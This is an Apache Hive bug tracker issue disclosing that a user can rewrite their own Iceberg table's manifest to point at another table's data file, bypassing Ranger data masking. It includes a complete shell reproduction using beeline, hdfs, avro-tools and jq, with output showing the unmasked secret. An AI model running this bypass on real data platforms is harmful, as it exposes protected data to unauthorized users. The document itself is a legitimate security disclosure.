[HIVE-27323] Iceberg: malformed manifest file or list can cause data breach

• Type: Improvement
• Status: Open
• Priority: Major
• Resolution: Unresolved
• Affects Version/s: 4.0.0-alpha-2
• Component/s: Iceberg integration
• Labels: check pull-request-available
• Assignee: Unassigned
• Reporter: Janos Kovacs
• Created: 05/May/23 07:26
• Updated: 06/Dec/23 10:59

Description

Set to bug/blocker instead of enhancement due to its security related nature, Hive4 should not be released w/o fix for this. Please reset if needed.

 

Fyi: it's similar to HIVE-27322 but this is more based on Iceberg's internals and can't just be fixed via the storagehandler authorizer.

 

Context: 

• There are some core tables with sensitive data that users can only query with data masking enforced (e.g. via Ranger). Let's assume this is the `default.icebergsecured` table.
• An end-user can only access the masked form of the sensitive data as expected...
• The users also have privilege to create new tables in their own sandbox databases - let's assume this is the `default.trojanhorse` table for now.
• The user can create a malicious table that exposes the sensitive data non-masked leading to a possible data breach.
• Hive runs with doAs=false to be able to enforce FGAC and prevent end-user direct file-system access needs

Repro:

• First make sure the data is secured by the masking policy:

  <kinit as privileged user>
  beeline -e "
  DROP TABLE IF EXISTS default.icebergsecured PURGE;
  CREATE EXTERNAL TABLE default.icebergsecured (txt string, secret string) STORED BY ICEBERG;
  INSERT INTO default.icebergsecured VALUES ('You might be allowed to see this.','You are NOT allowed to see this!');
  "
  
  <kinit as end user>
  beeline -e "
  SELECT * FROM default.icebergsecured;
  "
  
  +------------------------------------+--------------------------------+
  |         icebergsecured.txt         |     icebergsecured.secret      |
  +------------------------------------+--------------------------------+
  | You might be allowed to see this.  | MASKED BY RANGER FOR SECURITY  |
  +------------------------------------+--------------------------------+
  

• Now let the user to create the malicious table exposing the sensitive data:

  <kinit as end user>
  beeline -e "
  DROP TABLE IF EXISTS default.trojanhorseviadata;
  CREATE EXTERNAL TABLE default.trojanhorseviadata (txt string, secret string) STORED BY ICEBERG
  LOCATION '/some-user-writeable-location/trojanhorseviadata';
  INSERT INTO default.trojanhorseviadata VALUES ('placeholder','placeholder');
  "
  
  SECURE_DATA_FILE=$(HADOOP_CLIENT_OPTS="-Djline.terminal=jline.UnsupportedTerminal"  beeline --outputformat=csv2 --showHeader=false --verbose=false --showWarnings=false --silent=true --report=false -e "SELECT file_path FROM default.icebergsecured.files;" 2>/dev/null)
  
  TROJAN_META_LOCATION=$(HADOOP_CLIENT_OPTS="-Djline.terminal=jline.UnsupportedTerminal" beeline -e "DESCRIBE FORMATTED default.trojanhorseviadata;" 2>/dev/null |grep metadata_location  |grep -v previous_metadata_location | awk '{print $5}')
  TROJAN_MANIFESTLIST_LOCATION=$(hdfs dfs -cat $TROJAN_META_LOCATION |grep "manifest-list"  |cut -f4 -d\")
  hdfs dfs -get $TROJAN_MANIFESTLIST_LOCATION
  TROJAN_MANIFESTLIST=$(basename $TROJAN_MANIFESTLIST_LOCATION)
  
  TROJAN_MANIFESTFILE_LOCATION=$(avro-tools tojson $TROJAN_MANIFESTLIST |jq '.manifest_path' |tr -d \")
  hdfs dfs -get $TROJAN_MANIFESTFILE_LOCATION
  TROJAN_MANIFESTFILE=$(basename $TROJAN_MANIFESTFILE_LOCATION)
  
  mv ${TROJAN_MANIFESTFILE} ${TROJAN_MANIFESTFILE}.orig
  avro-tools tojson ${TROJAN_MANIFESTFILE}.orig |jq --arg fp "$SECURE_DATA_FILE" '.data_file.file_path = $fp' > ${TROJAN_MANIFESTFILE}.json
  avro-tools getschema ${TROJAN_MANIFESTFILE}.orig > ${TROJAN_MANIFESTFILE}.schema
  avro-tools fromjson --codec deflate --schema-file ${TROJAN_MANIFESTFILE}.schema ${TROJAN_MANIFESTFILE}.json > ${TROJAN_MANIFESTFILE}.new
  hdfs dfs -put -f ${TROJAN_MANIFESTFILE}.new $TROJAN_MANIFESTFILE_LOCATION
  
  beeline -e "SELECT * FROM default.trojanhorseviadata;"
  
  +------------------------------------+-----------------------------------+
  |       trojanhorseviadata.txt       |     trojanhorseviadata.secret     |
  +------------------------------------+-----------------------------------+
  | You might be allowed to see this.  | You are not allowed to see this!  |
  +------------------------------------+-----------------------------------+
  

 

There are actually multiple options to create such table and modify the manifest/list like reuse parts of the iceberg code or just use spark which needs direct end-user write access to the file-system, etc.

Issue Links

• relates to: IMPALA-12584 Add backend config to restrict data file locations for Iceberg tables
• relates to: HIVE-27713 Iceberg: metadata location overrides can cause data breach
• links to: GitHub Pull Request #4910

Sub-Tasks

• Iceberg: Allow restricting Iceberg data file reads to table location: Closed
• Iceberg: Authorize location of Iceberg data reads to tables: Open